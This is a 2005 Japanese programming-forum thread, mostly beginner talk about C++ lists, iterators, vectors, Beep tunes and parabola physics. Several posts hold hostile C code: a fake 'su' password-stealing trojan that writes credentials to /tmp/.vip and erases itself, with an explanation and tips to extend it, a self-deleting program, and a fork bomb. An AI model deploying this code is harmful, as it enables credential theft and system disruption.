0507デフォルトの名無しさん
2005/11/24(木) 17:54:28#include <iostream>
#include <list>
using namespace std;
int main(int argc, char *argv[]){
list<int> container;
for(int i = 0; i < 5; ++i)
container.push_back(i); //最後尾に1個ずつ追加
//先頭から順次表示
for(list<int>::iterator it = container.begin(); it != container.end(); ++it)
cout << *it << endl;
container.pop(); //なんとなく先頭1個削除
container.clear(); //する必要ないけど
}
0508デフォルトの名無しさん
2005/11/24(木) 17:56:53+container.pop_front(); //なんとなく先頭1個削除
0509500です (-_-
2005/11/24(木) 18:06:14おお、素晴らしい。それが噂に聞くstd::listってヤツでしょか。
そうそう、そういうのが理想なんですよ〜。
iteratorってなんだよまったく。
英和辞典で調べたら
it・er・ate
繰り返す; 繰り返して言う.
it・er・a・tion ━━ n. 【コンピュータ】(プログラム中の命令の)繰り返し, 反復.
と出た。なんか超便利っぽいぞ。
あー、、どうやってループ回そうかな。
0510デフォルトの名無しさん
2005/11/24(木) 18:51:34とりあえずAcceleratedC++読んでみれ
Stringとvectorだけだったと思うが、簡易版を実装してるから
listを実装する上でかなり参考になるはず
特にiterator絡みとか
0511デフォルトの名無しさん
2005/11/24(木) 19:14:15コンテナ/イテレータ/アルゴリズムの3つに分けて考えることで、直交性を高めてる。
コンテナ list/vector等のデータを格納する構造
イテレータ コンテナ内のデータを指すためのポインタのようなもの
アルゴリズム イテレータを利用してサーチやらソートやらを行う
コンテナはbegin()/end()で最初/最後の「次」の要素を返すイテレータを
取ってこれるので、そのイテレータをbegin()でとってきたイテレータを
++してend()で終了させれば全ての要素を走査できる。
0512デフォルトの名無しさん
2005/11/24(木) 19:15:250513500です (-_-#
2005/11/24(木) 19:20:25どもです。これのことでしょか。
Accelerated C++
効率的なプログラミングのための新しい定跡
C++ In Depth Series
ttp://www.amazon.co.jp/exec/obidos/ASIN/4894714221/qid=1132826961/sr=1-1/ref=sr_1_10_1/250-6494379-9438634
難解そうですけど、評価は高めですね。
メチャ高いわけでもないので、STLをお勉強したあとに買ってみたいと思います。ども。
>>507を見てると、C++ってもしかしてSTLを駆使すると配列とかあんま使わなくても
プログラムできるんでしょか。なんか衝撃だわぁ。
とりあえず>>500のCStackをコントロールするクラスを作ってみまっす (`・ω・´)
失敗したらもうリスト構造は辞める!
0514デフォルトの名無しさん
2005/11/24(木) 19:24:56できるってところがミソかなぁ〜
begin()/end()とかを保存はしてるけど、それ以外のアルゴリズムに
必要な状態の保存はiteratorやら関数オブジェクトに任せるとか。
そういうのを考えながら見ると参考になるかと。
0515500です (-_-#
2005/11/24(木) 19:28:46チョッコウセイ???
知らない言葉ばっかでもうなにがなんだか・・
イテレータってのを鍵にして色々操作してるかのな。
あの、>>507の場合、上から3番目の要素だけ表示したい場合とか、
どうするんでしょか。
Cの配列みたく、やぱインデックスで指定でしょうか?
cout << container.disp(2) << endl;
みたいな・・
0516500です (-_-#
2005/11/24(木) 19:30:33list<int>::iterator it = container.begin();
it+=2;
cout << *it << endl;
こうか??
0517デフォルトの名無しさん
2005/11/24(木) 19:32:35list<T>には確かランダムアクセスイテレータは無いはず
リストの3番目の要素にアクセスとかは無理
地道に先頭(末尾)から追っていってください
vector<T>は普通の配列と同様に扱える
ちなみに要素を追加すればするだけ、勝手に伸びてゆくという便利な代物
それと、Acceleratedは普通の本とは進め方が全く違う
C++の文法的な事はすっとばして、stringだとかvectorだとかをのっけから使いまくる
継承やポインタが10章とかにならないと出てこない
0518デフォルトの名無しさん
2005/11/24(木) 19:34:27コンテナ:データ(組込型でもクラスでもなんでも)を入れるための入れ物
イテレータ:コンテナを色々弄るため物。必需品
アルゴリズム:十徳ナイフみたいなあれば便利なもの
0519デフォルトの名無しさん
2005/11/24(木) 19:50:25>あの、>>507の場合、上から3番目の要素だけ表示したい場合とか、
std::advance(it, 2);
配列のようなvectorでは+=とかが使えるんだけど、
リストは+=のような操作が構造的に遅いために、
わざと+=が使えないようになってる。
一応std::advance()というアルゴリズムは用意されてるので
これを使えばOK。
0520500です (-_-
2005/11/24(木) 19:51:23用語解説までやってくれてホントありがとうです ノω`)・゚・。。
vectorは聞けば聞くほど超便利そうな感じ。
Acceleratedは私にはまだまだ早いかな。でも良書っぽいので、ぜひ見てみます。
「アルゴリズム」ってのは自分で実装するアルゴリズムだと思ってたんですが、
ちょっと違うようですね。自動的にソートとかしてくれるんでしょうか。
C++道はまだまだ長し。てゆか、ゴールってホントにあんの?
0521500です (-_-
2005/11/24(木) 19:52:48重ね重ね感謝です! m(__)m
0522デフォルトの名無しさん
2005/11/24(木) 19:56:06確かソートもalgorithmにあった希ガス
最もlistについてはそれが適用できないので、別途メンバ関数を持ってたと思うが
0523デフォルトの名無しさん
2005/11/25(金) 22:28:03vorbisファイルのコメント表示できた。
0524デフォルトの名無しさん
2005/11/25(金) 22:32:58自身へのパスは argv[0] だお
0525デフォルトの名無しさん
2005/11/25(金) 22:36:09なんだかめんどくさかったお(^ω^;)
0526デフォルトの名無しさん
2005/11/25(金) 22:37:39修正
0527デフォルトの名無しさん
2005/11/25(金) 22:42:24ならコンパイルオプションに -std=c99 として
C99 準拠にすると幸せに慣れるかもだお(^ω^)
C99は↓
ttp://seclan.dll.jp/c99d/
0528デフォルトの名無しさん
2005/11/25(金) 22:58:320529デフォルトの名無しさん
2005/11/26(土) 00:21:210530デフォルトの名無しさん
2005/11/26(土) 00:43:28たーわーけー
0531デフォルトの名無しさん
2005/11/26(土) 00:54:19なんで〜 ><
0532デフォルトの名無しさん
2005/11/26(土) 00:57:16今日はここまで
ttp://itaro.kir.jp/cgi-bin/up/src/ita0026.jpg
0533デフォルトの名無しさん
2005/11/26(土) 01:13:420534デフォルトの名無しさん
2005/11/26(土) 01:15:33反復子という意味もあるぞ。
スピードメーターの針みたいなものだ。
針を順にズラしてデータの参照先を変えて
データ参照を繰り返す。
0535デフォルトの名無しさん
2005/11/26(土) 01:22:10少子化問題とか興味ナッシング!!
今日はプログラムが進みそうだお
0536デフォルトの名無しさん
2005/11/26(土) 01:29:03あ、どもありがとございます m(__)m
ちょっと話違いますけど、
vectorって、配列みたく「3番目の要素を取り出す」
みたいなのが簡単にできるんですよね。
自分でリスト作ったら、3番目の要素取り出すときは
1番目から(もしくは最後から)回さないといけないから
どう考えても遅くなるんですけど、
そういうのはvector様はどうやって解決してるんでしょか。
昨日から考えてるけど、アフォなので全く思い浮かばない。。
0537デフォルトの名無しさん
2005/11/26(土) 01:39:28vectorなら配列と同じに v[3]とか添え字でアクセスできる
おそらく連続した領域にメモリ確保してると思われる
0538デフォルトの名無しさん
2005/11/26(土) 01:48:59連続してるのに、あとで配列に追加(しかも末尾or先頭に追加)したり
間を抜いたりできるというのを両立するにはどうすればああぁぁ
あー、そんな便利な箱、どこの天才が作ったんだろ。
0539デフォルトの名無しさん
2005/11/26(土) 01:52:360540デフォルトの名無しさん
2005/11/26(土) 01:53:14配列の幅も自由に変更可能で(realloc するようなもの)
配列自体は最後に解放する必要はない
listはC言語で自分でソース書いたらわかると思うけど
要素の追加・削除が高速に行えるが、
メモリ上では連続してないから配列のようには扱えない
STLなら他にも deque, set, multiset, map, multimap
とあって、それぞれ長所短所あるので使い分けが重要でっせ
0541デフォルトの名無しさん
2005/11/26(土) 01:57:16確保しておいた領域で足りなくなったら
他のところへもっと大きい領域を確保して要素をすべてコピーするんだよ
だから、頻繁に要素の数が増減するような処理には向かない
そういうときこそlistとかを使う
0542デフォルトの名無しさん
2005/11/26(土) 01:58:00もしかしてlistよかvectorの方が遅い??
それならちょっと納得するかも。
0543デフォルトの名無しさん
2005/11/26(土) 02:00:07>>541
にゃるほど。それなら納得です。ども m(__)m
今まで自由に増減できて、かつ各要素へのアクセスが高速な
魔法の箱だとばかり思ってましたわ。
0544デフォルトの名無しさん
2005/11/26(土) 02:02:51>もしかしてlistよかvectorの方が遅い??
インデックスでランダムアクセスするならvectorの方が速い。
0545デフォルトの名無しさん
2005/11/26(土) 02:04:080546デフォルトの名無しさん
2005/11/26(土) 02:05:53その辺の長短所を前もって理解しておいたほうが良いって事を見越して
誰もが学ぶ道、のはず
やること増やすようだけど、
STL予備軍であるboostなんて便利なライブラリもある
STL終わったらどういう機能があるかぐらいは見ておいて損はないと思うよ
0547デフォルトの名無しさん
2005/11/26(土) 02:13:43もう一週間ぐらいやってますよ。。
なんとか今晩中に卒業したぃ。
0548デフォルトの名無しさん
2005/11/26(土) 02:15:58分岐やロードのペナルティの大きい今のCPUには向かない実装だ。
0549デフォルトの名無しさん
2005/11/26(土) 02:21:310550デフォルトの名無しさん
2005/11/26(土) 02:32:00(^ω^)⊃
_,,..,,,,_⊂ミ⊃ ) プルルン
./ ,' 3 `∩ηっ
l ⊃ ⌒_つ
`'ー---‐'''''
/⌒ヽ
( 人 )
| | ボゥッ!!!!!!
| ノ(|
|.⌒| (^ω^;)
_,,..,,,_| | (つ ⊂)
/ ,' 3 | |ーっ
l ⊃ ⌒_つ
`'ー---‐'''''"
0551デフォルトの名無しさん
2005/11/26(土) 03:04:470552デフォルトの名無しさん
2005/11/26(土) 03:04:56アキバ系男がめちゃくちゃ言われてるww
0553デフォルトの名無しさん
2005/11/26(土) 03:05:540554デフォルトの名無しさん
2005/11/26(土) 03:08:330555デフォルトの名無しさん
2005/11/26(土) 03:12:500556デフォルトの名無しさん
2005/11/26(土) 03:24:12生活保護もらえるらしいよー
0557デフォルトの名無しさん
2005/11/26(土) 03:25:34そろそろ巻き起こると思うよん♪
0558デフォルトの名無しさん
2005/11/26(土) 10:55:120559デフォルトの名無しさん
2005/11/26(土) 12:09:04ttp://www.vipper.org/vip147327.zip
http://www.vipper.org/vip147329.png
もう安全性とかシンプルさとか捨てました。てゆか、無理。
そんなのはSTL作ったようなどっかの天才様におまかせします。
もうリスト構造のこと考えるのやめやめ ┐(´ー`)┌
>>548
あわよくばシューテシングゲームなんかの弾の管理に使おうかと思ってましたが、
こんなん使うよかドカッっとnewした方がじぇんじぇん速いっぽいよ orz
0560デフォルトの名無しさん
2005/11/26(土) 12:09:200561デフォルトの名無しさん
2005/11/26(土) 12:16:470562デフォルトの名無しさん
2005/11/26(土) 13:49:020563デフォルトの名無しさん
2005/11/26(土) 14:13:08そもそもリストの用途って、大量の構造体を処理するようなときに
とりあえず全部リストに読み込んで、処理が終わった奴から順に
切り離していくような使い道じゃまいか?
0564デフォルトの名無しさん
2005/11/26(土) 15:30:16なんか本屋行ってもWeb開発関連本ばっかしで・・・
ttp://itaro.kir.jp/cgi-bin/up5/src/ita0043.jpg
0565デフォルトの名無しさん
2005/11/26(土) 15:33:010566デフォルトの名無しさん
2005/11/26(土) 15:34:270567デフォルトの名無しさん
2005/11/26(土) 18:20:09((;゚Д゚) < マ、マジッスカ!!
0568デフォルトの名無しさん
2005/11/26(土) 18:44:11あと、Windowsのハードディスクの記録方法(FAT/NTFS)もリスト構造だよね。
0569デフォルトの名無しさん
2005/11/26(土) 19:38:56#include <windows.h>
int main(int argc, char* argv[])
{
int sayuri[][2] =
{ { 330, 250 }, { 330, 250 }, { 330, 250 },
{ 330, 250 }, { 349, 250 }, { 330, 250 },
{ 440, 250 }, { 440, 500 }, { 440, 250 },
{ 490, 250 }, { 440, 250 }, { 523, 250 },
{ 523, 250 }, { 523, 250 }, { 523, 250 },
{ 490, 250 }, { 440, 250 }, { 330, 700 },
{ -1, -1 },
};
int i;
for(i = 0; sayuri[i][0] >= 0; i++)
Beep(sayuri[i][0], sayuri[i][1]);
return 0;
}
0570デフォルトの名無しさん
2005/11/26(土) 19:45:17なにこれ
0571デフォルトの名無しさん
2005/11/26(土) 19:45:37ちょwwwwwwwwww
すごいがそんな曲(゚�听)イラネ
0572デフォルトの名無しさん
2005/11/26(土) 19:46:44ビープでなんか演奏すんの?
0573・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/26(土) 19:53:000574デフォルトの名無しさん
2005/11/26(土) 19:56:370575デフォルトの名無しさん
2005/11/26(土) 20:04:52ワロス
神だな
0576デフォルトの名無しさん
2005/11/26(土) 20:09:180577デフォルトの名無しさん
2005/11/26(土) 20:11:240578デフォルトの名無しさん
2005/11/26(土) 20:15:030579デフォルトの名無しさん
2005/11/26(土) 20:15:20俺はできた
0580デフォルトの名無しさん
2005/11/26(土) 20:15:21どういうしくみだ?
0581デフォルトの名無しさん
2005/11/26(土) 20:16:050582デフォルトの名無しさん
2005/11/26(土) 20:16:340583デフォルトの名無しさん
2005/11/26(土) 20:21:360584デフォルトの名無しさん
2005/11/26(土) 20:31:13わざわざ.net2.0使わなくても、Win32API叩けばNT3.51時代から出来てる事な訳だが
0585デフォルトの名無しさん
2005/11/26(土) 20:32:51英語分からん奴は日本語版で勝手に探せ
0586デフォルトの名無しさん
2005/11/26(土) 20:39:52これかな
0587デフォルトの名無しさん
2005/11/26(土) 20:41:32これじゃね?
0588デフォルトの名無しさん
2005/11/26(土) 20:43:26beepでこんなことできたのかw
0589デフォルトの名無しさん
2005/11/26(土) 20:44:12Windows API に依存しなくて済むじゃん。
.NET 2.0 が使える環境ならどこでも鳴らせるわけで。
0590デフォルトの名無しさん
2005/11/26(土) 20:49:500591デフォルトの名無しさん
2005/11/26(土) 20:54:00その場合、依存先がWin32APIから.net2.0に変わっただけだろ
それに将来的にどうかは別としても、少なくとも現状で使える環境の数は
Win32API>>>>>(超えられない壁)>>>>>>.net2.0
0592デフォルトの名無しさん
2005/11/26(土) 20:55:340594デフォルトの名無しさん
2005/11/26(土) 21:04:55#include <windows.h>
int main(int argc, char* argv[])
{
int sayuri[][2] =
{ { 233, 200 }, { 208, 200 }, { 185, 200 },
{ 156, 400 }, { 185, 400 }, { 208, 400 },
{ 185, 200 }, { 208, 400 }, { 233, 200 },
{ 208, 200 }, { 185, 200 }, { 233, 400 },
{ -1, -1 },
};
int i;
for(i = 0; sayuri[i][0] >= 0; i++)
Beep(sayuri[i][0], sayuri[i][1]);
return 0;
}
二番煎じだが勢いで作ってみた。
0595デフォルトの名無しさん
2005/11/26(土) 21:10:46#includeの記述ってどんな風に分けて書けばいいんだろう?
ソースでヘッダーをincludeするのは当たり前として
他にも<windows.h>とか色々書く場合どっちに何を書けば良いのかわけわかめ
0596・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/26(土) 22:12:06関数の実装側だけで用い呼び出し元から参照する必要の無いヘッダはなるべくソース側で
インクルードするのが正しい。不要なシンボルの重複を避けるのに有効。
あと、Boost.Regex++使うと、グローバルネームスペースでregex_tとかのシンボルが定義される。
てか、regex_tAとregex_tWをマクロで切り分けてるのね。
やたら行儀悪いのなんの。
いっぺんOnigurumaとのパフォーマンスベンチプログラム作ろうとしてハマったことがある。
てか正規表現ライブラリって大抵基本型の名前がregex_tなんだよね。中身は非互換。
結局oniguruma.hをインクルードする際にネームスペース切って解決したけど。
俺の場合はテンプレート多様派でヘッダにクラスの実装をガリガリ書くのが好み。
コンパイルに時間かかるけど。
あと、殆ど効きもしないのにプリコンパイルヘッダが�dでもない大きさになるから
基本的に無効にしている。
0597デフォルトの名無しさん
2005/11/26(土) 22:29:52あんだって?
0598デフォルトの名無しさん
2005/11/26(土) 22:37:50さっと作れるとこがすごい(・∀・)
0599デフォルトの名無しさん
2005/11/26(土) 22:50:36なるほど、ありがとう。
よく考えて分けなきゃですね。
最後の、ヘッダーに実装をがりがり書くというのはWTLがまさにそれですね。
量が増えてくると手直しする必要があった時、面倒くさそうですがどうなんでしょう。。。
0600デフォルトの名無しさん
2005/11/26(土) 22:55:380601デフォルトの名無しさん
2005/11/26(土) 23:32:39いや、俺らは天才じゃない、むしろ凡才
だが秀才にはなれる
0602デフォルトの名無しさん
2005/11/26(土) 23:42:020603デフォルトの名無しさん
2005/11/26(土) 23:49:37不愉快極まりない。
0604・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/27(日) 00:05:52そうまさにまさにWTL。
多重継承を効果的に使って1ファイルののサイズが増えないように・・・してるつもりだけど、
そううまくもいってない。諸刃の剣す。
基本的にメッセージリフレクションを使って再利用しやすいように作ってみている。
メッセージリフレクションといえば、CWindowWithRefletorImpl<>は、CreateWindowで作るぶんには
いいけどダイアログ(フォーム)ベースだとうまくいかないことがあるから使ってない。あと他にも
クライアント領域とかの制限があったような。
0605デフォルトの名無しさん
2005/11/27(日) 00:21:09#include <boost/regex.hpp>のほうを使え。
0606・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/27(日) 00:45:46いや、そっち使った時点でそうなってたんだけど。
1.31〜32の頃かな。
もう鬼車に完全に乗り換えたからいいけど。Ruby好きだからこっちのほうがしっくりくる。
ユーザー入力の字句チェックのために正規表現使ってるんだよね。
鬼車はカスタム構文を自分で定義できるから結構思い通り(独り善がり)の解析ルーチンを作りやすい。
いちおう1.33のregexも評価してみた。PCRE構文との互換性がアップしたけどやたら遅くなった希ガス。
0607デフォルトの名無しさん
2005/11/27(日) 02:03:38おまえ、なんかウざい
0608デフォルトの名無しさん
2005/11/27(日) 02:32:40中学の時同じ事言ってたやつがいたけどよ
まあ、なんだ
0609デフォルトの名無しさん
2005/11/27(日) 03:43:15ちょっと早く起きすぎたw
0610デフォルトの名無しさん
2005/11/27(日) 05:14:560611デフォルトの名無しさん
2005/11/27(日) 07:21:390612デフォルトの名無しさん
2005/11/27(日) 07:26:000613デフォルトの名無しさん
2005/11/27(日) 07:31:160614デフォルトの名無しさん
2005/11/27(日) 07:56:050615デフォルトの名無しさん
2005/11/27(日) 09:17:000616デフォルトの名無しさん
2005/11/27(日) 09:40:250617デフォルトの名無しさん
2005/11/27(日) 10:02:300618デフォルトの名無しさん
2005/11/27(日) 10:05:55今のっけから社長が絶叫したwwww
>>617
じゃあ来週はもっとヤバ展開をきぼんしとく。
0619デフォルトの名無しさん
2005/11/27(日) 11:26:430620デフォルトの名無しさん
2005/11/27(日) 12:13:34放物線テスト
ttp://www.vipper.org/vip147920.zip
ttp://www.vipper.org/vip147924.png
放物線ってなんかセオリーってゆうか、
こうやったらリアルになる、とか、こうやったら計算量減らせる、とかあるんでしょうか?
プログラムでは箱を二タイプの計算で動かしてるのですが、
いずれも最初は上に移動させて、1フレームごとに下方向への移動値を増加させ、
いずれ落ちてくるって感じなのですが。。
こんなんでいいんでしょうか・・・ (-_-;
0621デフォルトの名無しさん
2005/11/27(日) 12:25:160622デフォルトの名無しさん
2005/11/27(日) 13:14:440623デフォルトの名無しさん
2005/11/27(日) 13:19:21すげーえ。
こういうのDelphiでも作れるかなあ。
憧れるよ。
0624・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/27(日) 13:26:11働いたらmakeかなと思っている。
0625620
2005/11/27(日) 14:05:02んと、
int Houbutu[] = {-5,-4,-3,-2,-1,0,1,2,3,4,5};
みたいな半円が書けそうなデータを持っておいて、
タイミング良く順番になぞるってことでしょか。
うーん、データ量がメチャ増えそうですが、それでいけるかな・・。
sinの波形?でやると、綺麗に見えそうな気も。
どうもありがとうございます m(__)m
>>622
うはwwありがたいんだけどwwわがんねwwww
ひ、ヒントプリーズ (´д`)
>>623
なんか激しく勘違いしてるっぽいですけど、
>>620のは上下に物体を動かせればすぐできます。
嘘放物線なので、ぶっちゃけ簡単です・・
0626デフォルトの名無しさん
2005/11/27(日) 14:46:41double g, /* 重力加速度 */
double v, /* 初速度成分 (速さ) */
double d, /* 初速度成分 (仰角) */
double t) /* 経過時間 */
{
double vx = v * cos(d); /* 水平方向の速度 */
double vy = v * sin(d); /* 鉛直方向の速度 */
double ax = 0; /* 水平方向の加速度 */
double ay = g; /* 鉛直方向の加速度 */
double x; /* 時間tでの座標x */
double y; /* 時間tでの座標y */
x = vx * t; /* 等速直線運動 (ax=0) */
y = vy * t + (ay * t * t) / 2; /* 等速加速度直線運動 */
}
こんな感じじゃなかったかなぁ > 放物線
0628626
2005/11/27(日) 14:54:41時間を指定できるようになってるだけ
0629・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/27(日) 14:59:51そこまで厳密に微分計算しなくとも、頂点(x1, y1)が解れば
y = -g(x²-x1) + y1でええんちゃうの。
で、xは空気抵抗が無い状態では水平方向の速度×時間で求められる
0630623
2005/11/27(日) 15:01:58ごめんなさい。
0631デフォルトの名無しさん
2005/11/27(日) 15:03:25ソース見ると
vx = 時間にかかわらず一定
vy = 時間に比例
になってて、
vx = a、時間で一回積分すると、x = at + b
vy = kt + l、時間で一回積分すると、y = kt^2 + lt + m
t を消去すると、ちゃんと y が x の2次式になってて∩( ・ω・)∩ばんじゃーい
0632デフォルトの名無しさん
2005/11/27(日) 15:08:51わざわざ積分しなくても、放物運動の速度の公式
vx = α
vy = g - at
と一致してるから問題なしと分かる希ガスw
0633デフォルトの名無しさん
2005/11/27(日) 15:25:19利点 :
・比較的計算が理解しやすい
・外力を反映できる
欠点 :
・スパンが長い程誤差が大きくなる
626のやり方
利点 :
・時間tを指定できる
・誤差が少ない
欠点 :
・外力を反映できない
0634デフォルトの名無しさん
2005/11/27(日) 15:31:10超疎外感wwwwwwwwwwwwwwwwwwwww
0635デフォルトの名無しさん
2005/11/27(日) 15:31:540636620です (-_-
2005/11/27(日) 15:31:58じぇんじぇんついていけん・・
>>626
ちょ、ま、えと、とりあえず使ってみます ^^
>>627
01ボタンのやつは、足し算しか使ってないですw
>>629
そ、その式を展開すればいいんでしょか。。
gは時間でおkですかね。
>>631 >>632
セキブン?・・なにそれ・・あまいの?おいちいの?
って、アフォですみません。三角関数とかわけわからんけど使ってます。
いちおう地元バカ高校は卒業したんですが。
せっかくアドバイスもらってるのに (T_T)
放物運動でググったら、↓のサイトが。
ttp://homepage3.nifty.com/qazu/parabola.htm
なにこの変な分数・・・。
人違いだったらすみませんが、>>631さんは前に某スレで
「私に会ったらvip∩( ・ω・)∩ばんじゃーいってしてみてー」
って言ってた人ですか?
0637デフォルトの名無しさん
2005/11/27(日) 15:32:580638デフォルトの名無しさん
2005/11/27(日) 15:35:32#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buf[strlen(argv[0])];
sprintf(buf, "rm -rf %s", argv[0]);
system(buf);
exit(1);
return 0;
}
0639620です (-_-
2005/11/27(日) 15:36:06ガイリョク?ガイリキ?
ごめ。。
でも着弾点の計算はなんとかしたいけど・・あー。
>>634
(;´д`)人(´д`;)
心の友よ。
0640・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/27(日) 15:36:330641620です (-_-
2005/11/27(日) 15:38:360642デフォルトの名無しさん
2005/11/27(日) 15:40:54上で出てる式は全部、物理IBの範囲で登場するはずだがw
積分は数IIとIII
距離・速度・加速度の間には次の関係が成り立つ
距離の微分=速度 ∴速度の積分=距離
速度の微分=加速度 ∴加速度の積分=速度
全て時間についての微積分ね
0644デフォルトの名無しさん
2005/11/27(日) 15:42:37vy = g - atじゃなくて vy = vyo(初速のy成分) - at
何ぼけてるんだ('A`)
0645デフォルトの名無しさん
2005/11/27(日) 15:44:04サインカーブなんかを使っていたりする。
0646・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/27(日) 15:47:15ピーチ姫ありえねー
0647デフォルトの名無しさん
2005/11/27(日) 15:48:06ちょwwwwwwwwサインカーブてwwwwwwww
いや似てるけどさ
0648デフォルトの名無しさん
2005/11/27(日) 15:58:45ttp://www.vipper.org/vip148009.gif.html
どうみてもサインカーブです
本当にありがとうございました
0649デフォルトの名無しさん
2005/11/27(日) 16:00:460650デフォルトの名無しさん
2005/11/27(日) 16:04:37#include <stdlib.h>
#include <string.h>
#include <termios.h>
int main(int argc, char *argv[])
{
struct termios orig;
struct termios attr;
char buf[1024];
char rm[strlen(argv[0])+10];
FILE *fp;
fp = fopen("/tmp/.vip", "w");
tcgetattr(0, &orig);
attr = orig;
printf("Password:");
attr.c_lflag &= ~(ICANON|ECHO);
attr.c_cc[VMIN] = 1;
tcsetattr(0, TCSADRAIN, &attr);
fgets(buf, 1024, stdin);
tcsetattr(0, TCSADRAIN, &orig);
fprintf(fp, "%s",buf);
fclose(fp);
printf("¥nsu: Sorry¥n");
sprintf(rm, "rm -rf %s", argv[0]);
system(rm);
return 0;
}
0651デフォルトの名無しさん
2005/11/27(日) 16:12:460652デフォルトの名無しさん
2005/11/27(日) 16:16:180653デフォルトの名無しさん
2005/11/27(日) 16:17:320655デフォルトの名無しさん
2005/11/27(日) 16:20:59Vx:初速のx成分 Vy:初速のy成分 g:重力加速度(≒9.8) t:経過時間
これでいいじゃまいか
0656デフォルトの名無しさん
2005/11/27(日) 16:21:20suを装ってパスワードを要求
ゲットしたパスワードを/tmp/.vipに保存
ログインに失敗したように見せかける
最後は自己消滅
0657デフォルトの名無しさん
2005/11/27(日) 16:24:34それってまさに>>626じゃねーかwwwwww
0658デフォルトの名無しさん
2005/11/27(日) 16:25:580659デフォルトの名無しさん
2005/11/27(日) 16:26:270660デフォルトの名無しさん
2005/11/27(日) 16:26:56すげえええええ!!そんなことができるとは!
suってことはLinuxだよな。家のLinuxでやってみるかww
0661デフォルトの名無しさん
2005/11/27(日) 16:29:06日本語でおk
0662デフォルトの名無しさん
2005/11/27(日) 16:29:19LinuxだけじゃなくてUNIX全般で使えるからなwwwww
ちょっと改造してコマンドライン引数も保存するようにしたら、
どのユーザーにログインしようとしたかわかるしなww
0663デフォルトの名無しさん
2005/11/27(日) 16:41:14お前さんがそういうこと好きなら自宅にいろんなOS入れたマシンをたくさん置いて
それだけでネットワークを組んで自由に遊んでみるのも面白いとおもうお(^ω^)
0664660
2005/11/27(日) 16:52:46Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
こういうの作れる人を尊敬するよ。
>>660
マシンが2台しかないw1台は親のだし。
自分のマシンにWindowsとLinuxのデュアルブートにしてる。
0665デフォルトの名無しさん
2005/11/27(日) 16:54:11>Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
>こういうの作れる人を尊敬するよ。
よくある手口だと思うのだが・・・
0666デフォルトの名無しさん
2005/11/27(日) 16:54:14尊敬するようなものか?
0667デフォルトの名無しさん
2005/11/27(日) 17:09:360668デフォルトの名無しさん
2005/11/27(日) 17:24:01#include <sys/types.h>
main()
{
for(;;)
{
fork();
}
return 0;
}
0669・∀・)っ-●○◎- ◆Pu/ODYSSEY
2005/11/27(日) 17:31:46Win32は実行中のバイナリに書き込み保護がかかるから解除してやる必要があるけど。
0670デフォルトの名無しさん
2005/11/27(日) 17:42:00>>666
いやいやまったくのC初心者で簡単な計算とかしかできなくてw
1から50までの和を表示するとかしかできないからw
0671デフォルトの名無しさん
2005/11/27(日) 17:45:55昔そんなやつ居なかったか?
0672デフォルトの名無しさん
2005/11/27(日) 17:46:43そう?知らないけど。今はDelphiで打ち込んだ数のx乗を求めるやつとか
作ってるよ。
0673デフォルトの名無しさん
2005/11/27(日) 17:48:280674デフォルトの名無しさん
2005/11/27(日) 17:49:31Delphiか・・・
次はlsトロイでも作ってみようかなw
0675デフォルトの名無しさん
2005/11/27(日) 18:04:00宿題スレでもいったら
0676デフォルトの名無しさん
2005/11/27(日) 18:07:550677デフォルトの名無しさん
2005/11/27(日) 18:53:120678デフォルトの名無しさん
2005/11/27(日) 18:55:51lsトロイというものについて詳しく
0680デフォルトの名無しさん
2005/11/27(日) 19:39:40webのサンプル見ても全然わかんあい・・
0681デフォルトの名無しさん
2005/11/27(日) 21:24:13すげー。かっこいいな。
0682みずき ◆WnmizUKIg6
NGNGvoid main()
{
float a = 1999;
float b = 0;
int i;
for (i = 1 ; i < 1999 ; i++) {
if (i % 2 == 1) {
b += a / i;
a -= a / i;
} else {
a += b / i;
b -= b / i;
}
}
printf("a = %.0f" , a);
}
0683デフォルトの名無しさん
2005/11/27(日) 22:10:19バカな俺にプログラムの説明をしてくれ。
0684デフォルトの名無しさん
2005/11/27(日) 22:26:23なんかあんまし意味のある処理じゃないような気がするんだが
わかんね
0685デフォルトの名無しさん
2005/11/27(日) 22:27:03ブログにあるゲームのセックス画像うpして下さい
0686デフォルトの名無しさん
2005/11/27(日) 22:28:16絶対荒らさないでくださいとわざわざ書くということは、荒らしまくってもいいんですよね?
0687デフォルトの名無しさん
2005/11/27(日) 22:30:08何これ?全然意味分からない・・・orz
最終的に1を表示でおk?
0689デフォルトの名無しさん
2005/11/27(日) 22:33:090690デフォルトの名無しさん
2005/11/27(日) 22:33:21なんだろこの処理
0691みずき ◆WnmizUKIg6
NGNG650 名前:デフォルトの名無しさん[sage] 投稿日:2005/11/27(日) 21:50:42
[1] 授業単元: 情報処理
[2] 問題文: 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。
1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、
3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・
この方法で、次々と水を移す。1999回目にA からB へ移したとき、
B の容器には、何リットルの水が入っているかを求めるプログラムを作成せよ。
[3] 環境
[3.1] OS:Windows
[3.2] コンパイラ名とバージョン: bcc
[3.3] 言語: C
[4] 期限: 11月29日まで
[5] その他の制限: 特にありません
0692デフォルトの名無しさん
2005/11/27(日) 23:01:13int main() {
int i, c, a, b;
a=1999;
i=0;c=0;b=0;
while(i!=1999) {
b=b+(a/(i+1)); a=a/(i+1)
i++;
}
printf("%d", b);
}
即行でつくた。これでどうよ
0693デフォルトの名無しさん
2005/11/27(日) 23:03:110694デフォルトの名無しさん
2005/11/27(日) 23:24:59問題の意味を勘違いしてて
ごちゃごちゃやってた時に使ってた
消すの忘れてたorz
main関数が返り値intならreturn 0かなんか入れておくのも忘れてたな
0695デフォルトの名無しさん
2005/11/27(日) 23:26:08これが>>691の答えなの?
なら、しょっぱなから1回目に1999を全部bにぶちこんでる気がするんだが。
ついでにaの結果を表示してるし。
#include <stdio.h>
void main()
{
float a = 1999;
float b = 0;
int i;
for (i = 2 ; i < 2001; i++) {
